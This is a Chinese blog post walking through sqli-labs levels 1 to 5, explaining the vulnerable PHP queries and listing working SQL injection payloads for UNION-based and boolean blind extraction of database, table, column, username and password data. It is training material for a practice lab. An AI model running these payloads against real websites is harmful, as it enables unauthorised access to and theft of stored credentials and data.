漏洞重温之sql注入(一)

漏洞重温之SQL注入(上)


sqli-labs通关记录

Less-01

首先我们打开本关,可以看到url里面 缺少了id参数。

所以我们需要手动给这个页面加上id参数。

添加上了id参数后,我们进行sql注入所需要的条件以及齐全了。

因为这次闯关我们是以白盒角度进行的,所以我们不进行尝试,直接查看源码,源码很长,我就不全部放出来了,捡最主要的,跟大家分析一下。

首先,我们看第一个需要关注的代码。

$id=$_GET['id'];

这行代码的意思,就是网页通过get请求方式,获取到id的参数值,这也就代表了我们可以直接在地址栏里面进行我们sql注入的相关操作。

第二个要关注的代码如下。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

这行代码是网页从数据库中查找数据,也是sql注入的关键位置。简单来说,这行代码的一丝就是,我们要从 user这个表里面,查询所有id等于我们输入id的内容,然后只取一条反馈到页面上。

第三个要关注的代码如下。

$result=mysql_query($sql);

这一行的代码很短,但是却是比较关键的一步,首先说一下mysql_query这个函数。简单点来说,这个函数可以帮我们执行sql语句,并且返回一个结果,但是这个结果只是一个资源标识符,如果直接返回给我们,是无法让用户看到自己希望看到的内容。所以,就有了我们第四个需要关注的代码。

第四个要关注的代码如下。

$row = mysql_fetch_array($result);

这行代码,简单点来说,是mysql_fetch_array这个函数,它的作用是返回根据结果集取得的行生成的数组,也就是说,mysql_query这个函数在执行过sql命令之后,是会带回来结果的,但是返回的只是资源标识符,而这个函数,能够从返回的结果里面,取出来我们希望看到的内容。

第五个要关注的代码如下。

print_r(mysql_error());

print_r函数,是php里面的输出函数。我们第一个程序的hello word就是依靠这个函数输出的。我们需要关注的,是mysql_error这个函数,这个函数就是如果sql语句出错,就通过这个函数返回错误。这两个函数集合在一起,就是报错注入的关键。

或者说,是我们判断这里是否有报错注入的关键。

因为如果一个地方有注入,但是我们通过测试后,页面并没有返回数据库语句错误,我们是无法判断这个地方存在报错注入的。

第一关的源码很长,但是我认为需要关注的点就这么些。

mysql_query(),mysql_fetch_array()这两个函数完成了网页从数据库查询的功能。

mysql_error()这个函数,满足了报错注入所需要的条件。

代码看完之后,我们就只需要把视线聚焦在一条代码上面。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

我们清楚SQL注入攻击的原理:恶意用户在提交查询请求的过程中将SQL语句插入到请求内容中,同时程序本身对用户输入内容过分信任而未对恶意用户插入的SQL语句进行过滤,导致SQL语句直接被服务端执行。

所以,我们需要完成sql注入攻击,就需要闭合掉原本的sql语句,然后在后面拼接我们希望执行的sql语句。

简单分析一下这个代码,我们输入的内容,会被传输到$id这个参数里面,所以我们需要关注的点在id='$id' 这里。所以,如果我们希望这行代码闭合,那么我们就需要利用单引号。

简单来说,如果我们输入的内容是1,那么 id='$id' 就会变成 id='1',而如果我们输入的内容是1',那么id='$id'就会变成 id='1'',整合到语句里面,就是如下的代码。

$sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";

可以看到,代码里面多了一个单引号,而这,就会引起语句的出错。

所以,为了保证网页还可以正常进行,我们需要将后面的单引号注释掉。也就是利用“ -- ”,这里注意,两个横杠前后,都要加上空格,不然会注释不掉后方代码。所以在加上之后,代码会变成如下这样。

$sql="SELECT * FROM users WHERE id='1' -- ' LIMIT 0,1";

这里,因为这关是有显示位置的,所以我们需要知道有几个位置是我们可用的,这里就需要用到order by。

pyload如下:

1' order by 1 -- 

这里,我们需要调整 by 后面的数字,逐步增大,直到网页报错为止,如果网页报错,我们就知道,上一个数字,是最大的。

这里,我测试过了,最大数字为3,因为很繁琐,就不一步一步测试了。

测试出了最大数字之后,我们就知道了网站的显示位置。

这里,我们可以利用联合查询。payload如下:

1' and 1=2 union select 1,2,3 -- 

可以看到,网页上原本显示username和password的地方现在变成了2和3。

这里要注意的是,原本在id 后面跟着的等式 1=1 变成了 1=2 。这里,就跟union 这个语句有关了。这是sql注入里面很常用的东西,用法是将前后两个sql语句结合起来,但是,如果第一条成立,那么在显示位置有限的情况下,后面的查询虽然也正常执行了,但是却不会在网页上反馈,如果我们希望在屏幕上直接看到返回结果,就需要让前方的语句错误。

然后,在得到了显示位置的之后,我们就可以将2和3替换掉,来构造语句,让网页返回我们希望看到的内容。

pyload 如下:

1' and 1=2 union select 1,version(),database() -- 

version()这个函数是返回当前数据库版本信息,database()这个函数是返回当前数据库名。

接下来,是sql显注的常用命令。

1' and 1=2 union select 1,(select schema_name from information_schema.schemata),3 -- 

这一条命令,是报数据库名的,但是,直接在地址栏输入这个内容,网站会报错。

这里是因为schema_name 的内容是很多行,但是这里只有一行的显示位置,所以我们需要通过 group_concat这个函数来将所有的数据整合到一行输出。

最后完整的爆数据库名称的payload如下。

1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 -- 

在得知了全部数据库之后,我们就可以从中选择自己想要查询的数据库,爆表名。

payload如下:

1' and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='security'),3 -- 

得到了表名之后,为了得到里面的数据,我们还需要知道字段名。

payload如下:

1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 -- 

在得知了字段名之后,爆数据的操作就比较简单了。

payload如下:

1' and 1=2 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) -- 

到这里,sql手注的基本命令就已经结束了,sqli-libs的第一关,通关。

Less-02

第二关,我们同样先在url中增加id参数。

因为我们这次是白盒测试,废话不多,直接看代码。

因为关键的几个函数第一关已经讲过,所以这里我们就直接看关键的地方。

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

这里,我们可以看到 这条代码里面的 id=$id ,$id 外面并没有任何的包裹,所以,这里我们不需要做闭合,直接将我们想要构造的参数直接输入在网址里面就可以了。

这里,我们只需要按照上一关一模一样的步骤就可以完成注入。

这里要说一个知识点,那就是字符型注入和数字型注入。

通常sql注入漏洞分为两种类型:数字型、字符型。其实所有类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与自负来区分的,所以就会产生注入点为何种类型。

  1. 数字型判断

    当输入的参数为整型时,通常程序中的sql语句类型大致如下:

    select * from (表名) where id=x

    这种类型可以使用经典的 and 1=1 和 and 1=2来判断。

    判断根据为,如果参数后面跟上 and 1=1运行正常,and 1=2运行出错,则说明这里的sql注入为数字型注入。

  2. 字符型判断

    当输入的参数为字符型是,通常程序中的sql语句类型大致如下:

    select * from (表名) where id='x'

    这种类型我们可以使用 and ‘1’ = ‘1’ 和 and '1' = '2'来判断。

    判断根据为,如果在参数后面跟上 and '1' = '1' 运行正常 ,and '1' = '2' 运行出错,则说明次数的sql注入为字符型注入。

第二关,通关。

Less-03

第三关,先在url中加入id 参数。

直接看代码。

这里,我们关注下面的代码。

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

这里可以看到,id=('$id'),也就是说,我们在url中的id=1如何结合到代码里面,那么代码就会变成。

$sql="SELECT * FROM users WHERE id=('1') LIMIT 0,1";

所以,如果我们想要在闭合代码,并且在后方拼接代码,就需要先闭合前方的单引号和括号。

综上所述,这一关我们想要完成注入,需要构造的payload如下:

1') and 1=2 union select 1,2,3 -- 

ps:第二关没有加注释的原因是,第二关我们其实没有闭合掉任何东西,所以哪怕我们在后面拼接sql语句,也不会有多出来的部分导致代码出错,所以,并不需要注释掉后面的部分。

第三关,通关。

Less-04

第四关,在url里面增加id参数。

不说废话,直接看代码。

这里,我们需要关注两行代码。首先,还是我们前几关关注的位置,第一行代码如下:

$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

这里,我们可以看到代码里面 id = ($id) ,但是,如果我们直接使用单括号闭合,是无法完成目的的。

上图我们可以看到,我们用单括号闭合了参数,并且在后面构造了语句 'and 1=2' 正常的语句,是不会返回任何结果的,但是现在他返回了,所以我们的输入没有被执行,也就是说我们构成的语句出问题了。

这里,就需要关注第二行代码。

$id = '"' . $id . '"';

这里,可能看着代码很难理解,但是其实点在php代码种起的是拼接作用,而单引号,只是将他包裹的内容定义为字符串。

所以,这一行如果简单点来看的话,其实是这样的 $id = "$id",这一行就是在我们输入的参数外面包裹了一个单引号,单分出来一行是因为直接这么写会因为原始代码里面也存在双引号,会导致代码出错。

所以我们这一关想要构造闭合,要使用 ") 而不是 )。

完成payload如下:

1") and 1=2 union select 1,2,3 -- 

第四关,通关。

Less-05

第五关,先给url里面增加id参数。

虽然这个页面跟前面几个有区别,这个暂且不提,先看代码。

这一关,简单点来说的话,还是只需要看一行代码。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

所以,我们只需要利用单引号闭合,然后在后面构造自己希望执行的sql语句就可以了。但是,从下方的输入内容,我们可以看到,这一关,我们希望看到的内容并不会在页面上得到反馈了,这就是布尔型盲注。

下面是盲注的一些常用命令。

1' order by 3 -- 

测试当前数据库名称字符长度。

1' and length(database())>1 -- 

ps: 这里挨个增加后面的数字太麻烦,我们可以通过取中间值的方法来缩短测试次数。比如先测试大于1,再测试大于10,如果第一次成功,第二次失败,就证明字符长度在1和10之间,下一个就可以测试是否大于5。

这两行代码可以看出来,当前数据库的字符串长度为8,知道这个之后,我们就可以挨个测试每个字母是什么。

测试第一个字母是什么。

1' and substr(database(),1,1)='s' -- 

测试第二个字母是什么。

1' and substr(database(),2,1)='e' -- 

这里因为我们清楚当前数据库为 security,所以就不一个一个测试了。

这里,如果想猜别的数据库名,可以通过下面这个代码来完成。

猜第一个数据库的第一个字母。

1' and substr((select schema_name from information_schema.schemata limit 0,1),1,1)='i' -- 

猜第一个数据库的第二个字母。

1' and substr((select schema_name from information_schema.schemata limit 0,1),2,1)='n' -- 

猜第二个数据库的第一个字母。

1' and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='c' -- 

猜第二个数据库的第二个字母。

1' and substr((select schema_name from information_schema.schemata limit 1,1),2,1)='h' -- 

当然,我们还能通过下面代码来获知,到底有几个数据库。

payload如下:

1' and 1=((select count(*) from information_scheama.schemata)=6) -- 

利用这行代码,我们可以知道总共有多少数据库。

同理,在我们爆表名之前,也可以先查看一下指定数据库中有几个表。

payload如下:

1' and 1=((select count(*) from information_schema.tables where table_schema='security')=4) -- 

猜指定数据库的第一个表名的长度。

1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>1 -- 

测试出了第一个 表名的长度之后,我们就需要猜第一个字母是什么。

代码如下:

1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a' -- 

猜第二个表的长度。

1' and length((select table_name from information_schema.tables where table_schema='security' limit 1,1))>1 -- 

猜第二个表的第一个字母。

1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r' -- 

猜第二个表的第二个字母。

1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='e' -- 

猜出来表明之后,就需要爆字段名了,我们同样可以利用代码来查看这个表中有几个字段。

payload如下:

1' and 1=((select count(*) from information_schema.columns where table_name='users')=6) -- 

爆指定表的第一个字段长度。

1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>1 -- 

猜第一个字段的第一个字母。

1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='U' -- 

猜第一个字段的第二个字母。

1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1)='S' -- 

猜第二个字段的第一个字母。

1' and substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)='C' -- 

猜第二个字段的第二个字母。

1' and substr((select column_name from information_schema.columns where table_name='users' limit 1,1),2,1)='U' -- 

在得知了字段之后,我们就需要爆数据了。

爆数据的时候,我们还是需要先使用代码查看这个表格中到底有多少条数据。

payload如下:

1' and 1=((select count(*) from security.users)=13) -- 

ps:这里有个很有意思的点,因为users表里面有六个字段,但是我们爆数据数量的时候,爆出来表中有十三条数据,是指有十三条数据,每个字段里面都有十三条,而并非所有字段里面的数据加起来只有十三条,这个可以留意一下。

爆指定字段的第一条数据的第一个字母。

1' and substr((select username from security.users limit 0,1),1,1)='D' -- 

爆指定字段的第一条数据的第二个字母。

1' and substr((select username from security.users limit 0,1),2,1)='u' -- 

爆指定字段的第二条数据的第一个字母。

1' and substr((select username from security.users limit 1,1),1,1)='A' -- 

爆指定字段的第二条数据的第二个字母。

1' and substr((select username from security.users limit 1,1),2,1)='n' -- 

上面,就是盲注的简单手法,但也是一个比较复杂的手法。

可以看到,在我们真正爆数据的时候,limit后面跟着的两个数,第一个数代表从第几个开始取,第二个代表这次取几个,通过修改这两个数据,我们可以做到取指定数据。括号外面的两个数,第一个代表了从第几个开始取,第二个代表取几个,通过这两个数据,我们可以做到取指定数据的第几个字母。

当然,如果我们从开始就猜测到可能存在这个数据库的话,我们可以直接将外面的数值修改,然后直接猜表名,而并非一个一个猜。

这里,我们用最后一步,取指定字段的第一条数据。

payload如下:

1' and substr((select username from security.users limit 0,1),1,4)='Dumb' -- 

第五关,通关。

posted @ 2020-08-21 05:01  小明-o3rr0r  阅读(550)  评论(0编辑  收藏  举报